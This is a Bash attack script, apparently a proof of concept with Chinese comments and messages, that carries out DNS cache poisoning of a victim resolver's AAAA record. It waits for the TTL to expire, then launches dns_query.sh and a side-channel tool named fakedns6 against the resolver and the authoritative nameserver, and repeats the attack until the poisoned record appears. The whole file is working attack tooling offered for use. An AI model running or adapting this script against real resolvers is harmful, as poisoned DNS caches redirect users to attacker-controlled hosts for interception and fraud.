56 lines
1.6 KiB
Bash
Executable File
56 lines
1.6 KiB
Bash
Executable File
#!/bin/bash
|
|
# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
|
|
# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
|
|
# Please run with sudo.
|
|
|
|
# Verify the existing record domain, just for proof purposes.
|
|
echo '获取原记录中:'
|
|
dig @$1 $4 AAAA
|
|
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
|
|
|
|
var=0
|
|
num=0
|
|
success=0
|
|
while [ $success -ne 1 ]
|
|
do
|
|
success=0
|
|
echo "等待缓存过期，$sleeptime秒之后开始攻击..."
|
|
sleep $sleeptime
|
|
echo "开始攻击"
|
|
# flood
|
|
echo "攻击参数："
|
|
echo "目标域名权威服务地址:$5"
|
|
echo "目标解析服务地址:$1"
|
|
echo "目标域名:$4"
|
|
ret=$(./dns_query.sh $1 $2 $3 $4)
|
|
#echo "ret:$ret"
|
|
echo "初始化工具环境"
|
|
sleep 1
|
|
echo "尝试触发权威服务器请求速率限制"
|
|
sleep 3
|
|
FINAL=`echo ${ret: -1}`
|
|
#echo "fin:$FINAL"
|
|
# Start attack
|
|
# Change the argument accordingly
|
|
echo "执行侧信道攻击脚本中"
|
|
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
|
|
# a - 进行域名缓存投毒的权威服务器
|
|
# b -
|
|
sleep 30
|
|
# Validations
|
|
((var++))
|
|
echo "第$var轮次攻击结束"
|
|
dig @$1 $4 AAAA
|
|
if [ "$FINAL" == "0" ];then
|
|
success=1
|
|
sleeptime=0
|
|
fi
|
|
echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
|
|
done
|
|
# success
|
|
echo '检测到攻击成功实现'
|
|
echo '等待两秒，再次请求...'
|
|
sleep 2
|
|
dig @$1 $4 AAAA
|
|
echo '攻击已完成！！！！'
|